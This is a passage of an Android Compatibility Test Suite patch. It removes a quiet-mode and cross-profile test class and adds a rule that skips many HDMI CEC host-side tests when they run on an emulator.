- private static final String TEST_LAUNCHER_APK = "CtsLauncherAppsTestsSupport.apk";
- private static final String ENABLED_TEST_APK = "CtsCrossProfileEnabledApp.apk";
- private static final String USER_ENABLED_TEST_APK = "CtsCrossProfileUserEnabledApp.apk";
- private static final String ENABLED_NO_PERMS_TEST_APK = "CtsCrossProfileEnabledNoPermsApp.apk";
- private static final String QUIET_MODE_ENABLED_TEST_APK = "CtsModifyQuietModeEnabledApp.apk";
- private static final String NOT_ENABLED_TEST_APK = "CtsCrossProfileNotEnabledApp.apk";
- private static final String ENABLED_TEST_PACKAGE = "com.android.cts.crossprofileenabledapp";
- private static final String USER_ENABLED_TEST_PACKAGE =
- "com.android.cts.crossprofileuserenabledapp";
- private static final String ENABLED_NO_PERMS_TEST_PACKAGE =
- "com.android.cts.crossprofileenablednopermsapp";
- private static final String NOT_ENABLED_TEST_PACKAGE =
- "com.android.cts.crossprofilenotenabledapp";
- private static final String QUIET_MODE_ENABLED_TEST_PACKAGE =
- "com.android.cts.modifyquietmodeenabledapp";
-
- private int mProfileId;
- private String mOriginalLauncher;
-
- @Override
- public void setUp() throws Exception {
- super.setUp();
-
- mOriginalLauncher = getDefaultLauncher();
-
- installAppAsUser(TEST_APK, mPrimaryUserId);
- installAppAsUser(TEST_LAUNCHER_APK, mPrimaryUserId);
-
- waitForBroadcastIdle();
-
- createAndStartManagedProfile();
- installAppAsUser(TEST_APK, mProfileId);
-
- waitForBroadcastIdle();
- wakeupAndDismissKeyguard();
- }
-
- @Override
- public void tearDown() throws Exception {
- uninstallRequiredApps();
- getDevice().uninstallPackage(TEST_LAUNCHER_PACKAGE);
-
- super.tearDown();
- }
-
- @LargeTest
- @Test
- public void testQuietMode_defaultForegroundLauncher() throws Exception {
- assumeHasSecureLockScreenFeature();
-
- // Add a lockscreen to test the case that profile with unified challenge can still
- // be turned on without asking the user to enter the lockscreen password.
- changeUserCredential(/* newCredential= */ TEST_PASSWORD, /* oldCredential= */ null,
- mPrimaryUserId);
- try {
- runDeviceTestsAsUser(
- TEST_PACKAGE,
- TEST_CLASS,
- "testTryEnableQuietMode_defaultForegroundLauncher",
- mPrimaryUserId,
- createParams(mProfileId));
- } finally {
- changeUserCredential(/* newCredential= */ null, /* oldCredential= */ TEST_PASSWORD,
- mPrimaryUserId);
- }
- }
-
- @LargeTest
- @Test
- public void testQuietMode_notForegroundLauncher() throws Exception {
- runDeviceTestsAsUser(
- TEST_PACKAGE,
- TEST_CLASS,
- "testTryEnableQuietMode_notForegroundLauncher",
- mPrimaryUserId,
- createParams(mProfileId));
- }
-
- @LargeTest
- @Test
- public void testQuietMode_notDefaultLauncher() throws Exception {
- runDeviceTestsAsUser(
- TEST_PACKAGE,
- TEST_CLASS,
- "testTryEnableQuietMode_notDefaultLauncher",
- mPrimaryUserId,
- createParams(mProfileId));
- }
-
- @LargeTest
- @Test
- public void testBroadcastManagedProfileAvailable_withoutCrossProfileAppsOp() throws Exception {
- checkBroadcastManagedProfileAvailable(/* withCrossProfileAppOps= */ false);
- }
-
-
- @LargeTest
- @Test
- public void testBroadcastManagedProfileAvailable_withCrossProfileAppsOp() throws Exception {
- checkBroadcastManagedProfileAvailable(/* withCrossProfileAppOps= */ true);
- }
-
- private void checkBroadcastManagedProfileAvailable(boolean withCrossProfileAppOps)
- throws Exception {
- installCrossProfileApps();
- if (withCrossProfileAppOps) {
- enableCrossProfileAppsOp();
- }
- clearLogcat();
- runDeviceTestsAsUser(
- TEST_PACKAGE,
- TEST_CLASS,
- "testTryEnableQuietMode",
- mPrimaryUserId,
- createParams(mProfileId));
- // In case of a necessary log is not captured
- // cause of too many logs while waiting idle broadcast, capture log previously.
- // This log will be concatenated.
- String log = getDevice().executeAdbCommand("logcat", "-d");
- waitForBroadcastIdle();
- verifyBroadcastSent("android.intent.action.MANAGED_PROFILE_UNAVAILABLE",
- /* needPermissions= */ !withCrossProfileAppOps, log);
-
- clearLogcat();
- runDeviceTestsAsUser(
- TEST_PACKAGE,
- TEST_CLASS,
- "testTryDisableQuietMode",
- mPrimaryUserId,
- createParams(mProfileId));
- log = getDevice().executeAdbCommand("logcat", "-d");
- waitForBroadcastIdle();
- verifyBroadcastSent("android.intent.action.MANAGED_PROFILE_AVAILABLE",
- /* needPermissions= */ !withCrossProfileAppOps, log);
-
- clearLogcat();
- removeUser(mProfileId);
- log = getDevice().executeAdbCommand("logcat", "-d");
- waitForBroadcastIdle();
- verifyBroadcastSent("android.intent.action.MANAGED_PROFILE_REMOVED",
- /* needPermissions= */ false, log);
- }
-
- private void clearLogcat() throws DeviceNotAvailableException {
- getDevice().executeAdbCommand("logcat", "-c");
- getDevice().executeAdbCommand("logcat", "-G", "16M");
- }
-
- private void verifyBroadcastSent(String actionName, boolean needPermissions, String prevLog)
- throws DeviceNotAvailableException {
- String result = getDevice().executeAdbCommand("logcat", "-d");
- result = prevLog + result;
- assertThat(result).contains(
- buildReceivedBroadcastRegex(actionName, "CrossProfileEnabledAppReceiver"));
- assertThat(result).contains(
- buildReceivedBroadcastRegex(actionName, "CrossProfileUserEnabledAppReceiver"));
- String noPermsString = buildReceivedBroadcastRegex(actionName,
- "CrossProfileEnabledNoPermsAppReceiver");
- if (needPermissions) {
- assertThat(result).doesNotContain(noPermsString);
- } else {
- assertThat(result).contains(noPermsString);
- }
- assertThat(result).doesNotContain(
- buildReceivedBroadcastRegex(actionName,
- "CrossProfileNotEnabledAppReceiver"));
- assertThat(result).contains(
- buildReceivedBroadcastRegex(actionName, "ModifyQuietModeEnabledAppReceiver"));
- }
-
- private String buildReceivedBroadcastRegex(String actionName, String className) {
- return String.format("%s: onReceive(%s)", className, actionName);
- }
-
- @LargeTest
- @Test
- public void testQuietMode_noCredentialRequest() throws Exception {
- assumeHasSecureLockScreenFeature();
-
- // Set a separate work challenge so turning on the profile requires entering the
- // separate challenge.
- changeUserCredential(/* newCredential= */ TEST_PASSWORD, /* oldCredential= */ null,
- mProfileId);
- runDeviceTestsAsUser(
- TEST_PACKAGE,
- TEST_CLASS,
- "testTryEnableQuietMode_noCredentialRequest",
- mPrimaryUserId,
- createParams(mProfileId));
- }
-
- private void createAndStartManagedProfile() throws Exception {
- mProfileId = createManagedProfile(mPrimaryUserId);
- switchUser(mPrimaryUserId);
- startUser(mProfileId);
- }
-
- private void uninstallRequiredApps()
- throws DeviceNotAvailableException {
- getDevice().uninstallPackage(TEST_PACKAGE);
- getDevice().uninstallPackage(ENABLED_TEST_PACKAGE);
- getDevice().uninstallPackage(USER_ENABLED_TEST_PACKAGE);
- getDevice().uninstallPackage(ENABLED_NO_PERMS_TEST_PACKAGE);
- getDevice().uninstallPackage(NOT_ENABLED_TEST_PACKAGE);
- getDevice().uninstallPackage(QUIET_MODE_ENABLED_TEST_PACKAGE);
- }
-
- private void installCrossProfileApps()
- throws FileNotFoundException, DeviceNotAvailableException {
- installCrossProfileApp(ENABLED_TEST_APK, /* grantPermissions= */ true);
- installCrossProfileApp(USER_ENABLED_TEST_APK, /* grantPermissions= */ true);
- installCrossProfileApp(NOT_ENABLED_TEST_APK, /* grantPermissions= */ true);
- installCrossProfileApp(ENABLED_NO_PERMS_TEST_APK, /* grantPermissions= */ false);
- installCrossProfileApp(QUIET_MODE_ENABLED_TEST_APK, /* grantPermissions= */ true);
- }
-
- private void enableCrossProfileAppsOp() throws DeviceNotAvailableException {
- enableCrossProfileAppsOp(ENABLED_NO_PERMS_TEST_PACKAGE, mPrimaryUserId);
- }
-
- private void installCrossProfileApp(String apkName, boolean grantPermissions)
- throws FileNotFoundException, DeviceNotAvailableException {
- installAppAsUser(apkName, grantPermissions, mPrimaryUserId);
- installAppAsUser(apkName, grantPermissions, mProfileId);
- }
-
- private void enableCrossProfileAppsOp(String packageName, int userId)
- throws DeviceNotAvailableException {
- getDevice().executeShellCommand(
- String.format("appops set --user %s %s android:interact_across_profiles 0",
- userId, packageName));
- assertThat(getDevice().executeShellCommand(
- String.format("appops get --user %s %s android:interact_across_profiles",
- userId, packageName))).contains("INTERACT_ACROSS_PROFILES: allow");
- }
-
- private Map<String, String> createParams(int targetUserId) throws Exception {
- Map<String, String> params = new HashMap<>();
- params.put(PARAM_TARGET_USER, Integer.toString(getUserSerialNumber(targetUserId)));
- params.put(PARAM_ORIGINAL_DEFAULT_LAUNCHER, mOriginalLauncher);
- return params;
- }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index 94f43fca212..cb320557f2c 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -147,6 +147,11 @@ public class BaseHdmiCecCtsTest extends BaseHostJUnit4Test {
testPointer,
deviceType);
}
+
+ /** This rule will skip the test if the DUT is an emulator. */
+ public static TestRule requiresPhysicalDevice(BaseHostJUnit4Test testPointer) {
+ return RequiredDeviceTypeRule.requiredPhysicalDevice(testPointer);
+ }
}
/** @deprecated not used anymore **/
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
index 0ff99dd9a92..1d5d2af1805 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
@@ -144,9 +144,10 @@ public final class HdmiCecConstants {
public static final String HDMI_CEC_FEATURE = "feature:android.hardware.hdmi.cec";
public static final String LEANBACK_FEATURE = "feature:android.software.leanback";
- // CEC Device property list
+ // Device property list used in CTS
public static final String HDMI_DEVICE_TYPE_PROPERTY = "ro.hdmi.device_type";
public static final String PROPERTY_ARC_SUPPORT = "persist.sys.hdmi.property_arc_support";
+ public static final String PROPERTY_BUILD_FINGERPRINT = "ro.system.build.fingerprint";
/*
* The default name of local directory into which the port to device mapping files are stored.
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredDeviceTypeRule.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredDeviceTypeRule.java
index 935a07d0cd0..20c70d63abd 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredDeviceTypeRule.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredDeviceTypeRule.java
@@ -111,5 +111,34 @@ public class RequiredDeviceTypeRule implements TestRule {
}
};
}
+
+ /**
+ * Rule to check that the DUT is not an emulator.
+ * @param test The test using this rule.
+ * @return The rule to be used in the test.
+ */
+ public static RequiredDeviceTypeRule requiredPhysicalDevice(final BaseHostJUnit4Test test) {
+ return new RequiredDeviceTypeRule() {
+ @Override
+ public Statement apply(final Statement base, final Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ ITestDevice testDevice = test.getDevice();
+ String buildFingerPrint = RequiredPropertyRule.getDevicePropertyValue(test,
+ HdmiCecConstants.PROPERTY_BUILD_FINGERPRINT);
+ // Currently only Cuttlefish is supported in automation testing. We will add
+ // more targets in the future if necessary.
+ assumeFalse(
+ "Invalid device " + testDevice.getSerialNumber() + " for "
+ + "running HDMI Control CTS. Physical device required, "
+ + "emulator found instead.",
+ buildFingerPrint.contains("cf_x86_"));
+ base.evaluate();
+ }
+ };
+ }
+ };
+ }
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
index 8c12d5469d9..0559a6523a8 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
@@ -48,6 +48,7 @@ public final class HdmiCecAudioReturnChannelControlTest extends BaseHdmiCecCtsTe
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
index b36c673ad3a..c4c44aeee92 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
@@ -61,6 +61,7 @@ public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
index fd3ed3d1784..f6b294fe27a 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
@@ -48,6 +48,7 @@ public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
index c73506767d9..1ef9bedfab6 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
@@ -43,6 +43,7 @@ public final class HdmiCecRemoteControlPassThroughTest extends BaseHdmiCecCtsTes
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
index 3acab1c11be..8869a126f88 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
@@ -56,6 +56,7 @@ public final class HdmiCecSystemAudioModeTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecDeviceTypeTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecDeviceTypeTest.java
index a38e3b2789e..4918d29778f 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecDeviceTypeTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecDeviceTypeTest.java
@@ -46,7 +46,9 @@ import java.util.List;
public final class HdmiCecDeviceTypeTest extends BaseHostJUnit4Test {
@Rule
- public RuleChain ruleChain = RuleChain.outerRule(CecRules.requiresLeanback(this));
+ public RuleChain ruleChain = RuleChain.outerRule(CecRules.requiresCec(this))
+ .around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this));
/** @deprecated not used anymore **/
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
index 8cc368b533f..3c38e5eef14 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
@@ -43,6 +43,7 @@ public final class HdmiCecFeatureAbortTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java
index fd7874d2cca..298a0ad3ce2 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java
@@ -41,6 +41,7 @@ public final class HdmiCecGeneralProtocolTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
index 6d3db56ed45..711a419c450 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
@@ -36,9 +36,6 @@ import org.junit.Test;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
import java.util.concurrent.TimeUnit;
/** HDMI CEC test to verify that device ignores invalid messages (Section 12) */
@@ -68,6 +65,7 @@ public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
@Before
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
index 1c3e85a2500..c6864009ab5 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
@@ -21,16 +21,15 @@ import static com.google.common.truth.Truth.assertThat;
import android.hdmicec.cts.BaseHdmiCecCtsTest;
import android.hdmicec.cts.CecMessage;
import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecConstants;
import android.hdmicec.cts.LogicalAddress;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Rule;
+import org.junit.Test;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
-import org.junit.Test;
/** HDMI CEC test to verify physical address after device reboot (Section 10.2.3) */
@RunWith(DeviceJUnit4ClassRunner.class)
@@ -43,6 +42,7 @@ public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
index 9d3fd05e877..c17f7fbaed8 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
@@ -37,6 +37,7 @@ public final class HdmiCecPhysicalAddressTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
* Test 10.1.2-1
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
index 8bc0f24519b..bb9f0c791db 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
@@ -35,6 +35,7 @@ public final class HdmiCecPollingTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
index bf7f9854565..faa163a1f17 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
@@ -54,6 +54,7 @@ public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
index 7cd2e1f87ba..b60805f6400 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -46,6 +46,7 @@ public final class HdmiCecStartupTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java
index 132c19fca2a..8c7a3f228ca 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java
@@ -52,6 +52,7 @@ public final class HdmiCecSystemAudioControlTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.skipDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
index 5606f8720a6..06c6e7ca8f3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -16,7 +16,6 @@
package android.hdmicec.cts.common;
-import com.android.tradefed.util.RunUtil;
import static android.hdmicec.cts.HdmiCecConstants.TIMEOUT_SAFETY_MS;
import static com.google.common.truth.Truth.assertThat;
@@ -29,6 +28,7 @@ import android.hdmicec.cts.LogicalAddress;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.util.RunUtil;
import org.junit.Rule;
import org.junit.Test;
@@ -47,6 +47,7 @@ public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
index e8b1d8d8d75..d300f39053d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
@@ -55,6 +55,7 @@ public final class HdmiCecSystemStandbyTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
@Before
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
index d44f44ccaaa..05943dc4936 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
@@ -63,6 +63,7 @@ public final class HdmiCecVendorCommandsTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java
index 949a3d5d50b..6c0092eee2d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java
@@ -52,6 +52,7 @@ public final class HdmiCecActiveTrackingTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecAvbToTvTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecAvbToTvTest.java
index 523dee62fb3..3772dd059f3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecAvbToTvTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecAvbToTvTest.java
@@ -51,6 +51,7 @@ public class HdmiCecAvbToTvTest extends BaseHdmiCecAbsoluteVolumeBehaviorTest {
public RuleChain ruleChain =
RuleChain.outerRule(BaseHdmiCecCtsTest.CecRules.requiresCec(this))
.around(BaseHdmiCecCtsTest.CecRules.requiresLeanback(this))
+ .around(BaseHdmiCecCtsTest.CecRules.requiresPhysicalDevice(this))
.around(
BaseHdmiCecCtsTest.CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
index 459f2604d8f..f2e2661c621 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
@@ -45,6 +45,7 @@ public final class HdmiCecDeviceOsdNameTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java
index 3bc9ec2211c..d14e1794d02 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java
